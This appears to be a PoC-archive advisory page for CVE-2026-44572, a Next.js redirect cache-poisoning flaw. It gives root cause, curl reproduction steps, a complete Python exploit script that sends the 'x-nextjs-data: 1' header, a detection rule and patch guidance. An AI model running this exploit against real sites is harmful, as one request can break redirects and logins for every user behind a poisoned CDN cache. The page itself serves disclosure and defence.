PoC Archive PoC Archive
Low CVE-2026-44572 patched

Next.js x-nextjs-data Cache Poisoning (CVE-2026-44572)

by dwisiswant0 · 2026-05-17

CVSS 3.1/10
Severity
Low
CVE
CVE-2026-44572
Category
web
Affected product
Next.js Pages Router (redirect handling via middleware or next.config.js)
Affected versions
Next.js <= 16.2.4
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2026-05-08
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44572
Categoryweb
SeverityLow
CVSS Score3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N)
StatusResearched
Tagscache-poisoning, x-nextjs-data, redirect, CDN, header-smuggling, Next.js, Pages-Router, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js Pages Router (redirect handling via middleware or next.config.js)
Versions AffectedNext.js <= 16.2.4
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44572 is a cache poisoning vulnerability in Next.js Pages Router redirect handling. Pre-patch, any external client could set the internal x-nextjs-data: 1 header on a request to a redirecting URL, causing the server to return a 200 OK with x-nextjs-redirect instead of the expected 307 Temporary Redirect + Location response. Browsers render this as a blank page; CDN/proxy caches store and replay the malformed 200 response to all subsequent users of the same URL, effectively breaking redirect-based navigation for the duration of the cache TTL. Rated CVSS 3.1 Low with no known active exploitation.


Vulnerability Details

Root Cause

In resolve-routes.ts, the isNextDataReq request-meta flag was set based solely on the inbound x-nextjs-data header value, which any external client could set. The lower layers (web/adapter.ts, base-server) consulted this header directly rather than deriving the flag from the resolved pathname. This allowed a client to trigger the “data request” code-path on any URL including redirect-resolving URLs by simply adding the header. The patch (15341fdf49) added a setIsNextDataRequest() function that is only called when the resolved pathname matches a _next/data/<buildId>/... pattern, and added x-nextjs-data to the INTERNAL_HEADERS list so it is stripped from inbound user requests.

Attack Vector

Attacker sends a GET request to any redirecting URL (configured via next.config.js redirects or NextResponse.redirect() middleware) with the header x-nextjs-data: 1. The vulnerable server returns 200 OK + x-nextjs-redirect: <dest> with no Location header instead of the proper 307 redirect. A CDN or proxy that caches the 200 response will serve the malformed entry to subsequent legitimate users.

Impact

Denial of Service on redirect-based navigation for the poisoned URL. Applications relying on Location redirects for authentication (e.g. login redirects) silently fail to redirect. A single attacker request can pollute a CDN cache and break the redirect for all users until cache TTL expires.


Environment / Lab Setup

OS:          Linux / macOS / Windows
Target:      Next.js <= 16.2.4 Pages Router with at least one redirect configured
Attacker:    Any host able to send crafted HTTP GET requests
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
6
7
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44572_GHSA-3g8h-86w9-wvmq

TARGET=http://localhost:3000 \
REDIRECT_PATH=/redirect-to-somewhere \
EXPECTED_DEST=/somewhere \
python3 exploit.py

Proof of Concept

Step-by-Step Reproduction

  1. Baseline request - verify the redirect URL returns a proper 307.

    1
    2
    
    curl -i http://target/redirect-to-somewhere
    # Expect: HTTP/1.1 307  Location: /somewhere
    
  2. Exploit request - add the x-nextjs-data header.

    1
    2
    3
    
    curl -i -H 'x-nextjs-data: 1' http://target/redirect-to-somewhere
    # Vulnerable: HTTP/1.1 200  x-nextjs-redirect: /somewhere  (no Location header)
    # Patched:    HTTP/1.1 307  Location: /somewhere
    
  3. Cache poisoning - any CDN that stored the 200 response will serve it to subsequent users.

    1
    2
    
    # Subsequent request without the header still gets the malformed 200
    curl -i http://target/redirect-to-somewhere
    

Exploit Code

See exploit.py and exploit.sh in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import urllib.request, urllib.error

class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *_a, **_kw): return None

req = urllib.request.Request(
    "http://target/redirect-to-somewhere",
    headers={"x-nextjs-data": "1"}, method="GET"
)
opener = urllib.request.build_opener(NoRedirect())
try:
    with opener.open(req, timeout=15) as resp:
        print(resp.status, dict(resp.getheaders()))
except urllib.error.HTTPError as e:
    print(e.code, dict(e.headers))

Expected Output

x VULNERABLE — server returned 2xx with x-nextjs-redirect and no Location header for a non-data URL.
  CDNs will cache this; browsers render a blank page; real redirect is broken.

>>> RESULT: PASS (vulnerability reproduced) <<<

Screenshots / Evidence

  • screenshots/ - add response header captures showing 200 + x-nextjs-redirect vs expected 307 + Location

Detection & Indicators of Compromise

GET /redirect-to-somewhere HTTP/1.1  x-nextjs-data: 1

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible CVE-2026-44572 x-nextjs-data redirect poisoning attempt";
  content:"x-nextjs-data|3a| 1"; http_header;
  sid:900044572; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16 or 16.2.5+
WorkaroundStrip the x-nextjs-data header at the CDN/WAF before requests reach origin
Config HardeningConfigure CDN to not cache responses containing x-nextjs-redirect header, or treat them as redirect responses requiring revalidation

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

No known active exploitation at time of disclosure. This issue is closely related to CVE-2026-44573 (i18n middleware bypass), as both share the same x-nextjs-data header trust boundary root cause and were fixed in the same patch cluster (15341fdf49). Issue tracked as #50.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
"""
GHSA-3g8h-86w9-wvmq — `x-nextjs-data` redirect cache poisoning / DoS
====================================================================

Usage:
    TARGET=http://localhost:3000 \
    REDIRECT_PATH=/redirect-to-somewhere \
    EXPECTED_DEST=/somewhere \
    python3 exploit.py

Background
----------
Pre-v16.2.5, Next.js used the *inbound* `x-nextjs-data` header to decide
whether a request was a Next data request. That decision in turn selected
between two response shapes when the route resolved to a redirect:

  * Without `x-nextjs-data`   -> 307 Temporary Redirect + Location header
  * With    `x-nextjs-data`   -> 200 OK + JSON + `x-nextjs-redirect: <dest>`

Because `x-nextjs-data` was a *header an attacker can set*, anyone could
turn a perfectly valid 307 redirect into a 200-OK-with-no-Location response
just by adding the header. Browsers render a blank page; CDNs cache the
malformed response and replay it to every subsequent user.
"""

import os
import sys
import urllib.request
import urllib.error

R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m"


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *_a, **_kw):
        return None


def fetch(url, headers=None, timeout=15):
    headers = headers or {}
    req = urllib.request.Request(url, headers=headers, method="GET")
    opener = urllib.request.build_opener(NoRedirect())
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read(4096)
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read(4096)
    except Exception as e:  # noqa: BLE001
        print(f"{R}  network error: {e}{N}")
        return 0, {}, b""


def header(d, name):
    for k, v in d.items():
        if k.lower() == name.lower():
            return v
    return ""


def main():
    target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/")
    path = os.environ.get("REDIRECT_PATH", "/redirect-to-somewhere")
    expected = os.environ.get("EXPECTED_DEST", "/somewhere")

    print(f"{B}{'=' * 67}{N}")
    print(f"{B} GHSA-3g8h-86w9-wvmq — x-nextjs-data redirect cache poisoning     {N}")
    print(f"{B}{'=' * 67}{N}")
    print(f" Target         : {target}")
    print(f" Redirect path  : {path}")
    print(f" Expected dest  : {expected}\n")

    # Step 1 — baseline
    print(f"{Y}[1/3] Baseline — normal redirect (no x-nextjs-data header){N}")
    b_code, b_h, _ = fetch(target + path)
    print(f"  HTTP {b_code}")
    print(f"  Location          : {header(b_h, 'location') or '(none)'}")
    print(f"  x-nextjs-redirect : {header(b_h, 'x-nextjs-redirect') or '(none)'}\n")

    # Step 2 — exploit
    print(f"{Y}[2/3] Exploit — add header  x-nextjs-data: 1{N}")
    x_code, x_h, x_body = fetch(target + path, headers={"x-nextjs-data": "1"})
    print(f"  HTTP {x_code}")
    print(f"  Content-Type      : {header(x_h, 'content-type') or '(none)'}")
    print(f"  Location          : {header(x_h, 'location') or '(none)'}")
    print(f"  x-nextjs-redirect : {header(x_h, 'x-nextjs-redirect') or '(none)'}\n")

    # Step 3 — verdict
    print(f"{Y}[3/3] Verdict{N}")
    loc = header(x_h, "location")
    nxt = header(x_h, "x-nextjs-redirect")

    if 200 <= x_code < 300 and nxt and not loc:
        print(f"  {R}x VULNERABLE — server returned 2xx with x-nextjs-redirect"
              f" and no Location header for a non-data URL.{N}")
        print(f"  {R}  CDNs will cache this; browsers render a blank page;"
              f" real redirect is broken.{N}")
        print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}")
        sys.exit(0)

    if 300 <= x_code < 400 and loc:
        print(f"  {G}v PATCHED — header was ignored; server returned a proper"
              f" 3xx + Location.{N}")
        print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}")
        sys.exit(1)

    print(f"  {Y}? Inconclusive (HTTP {x_code}). Body sample: "
          f"{x_body[:200]!r}{N}")
    sys.exit(2)


if __name__ == "__main__":
    main()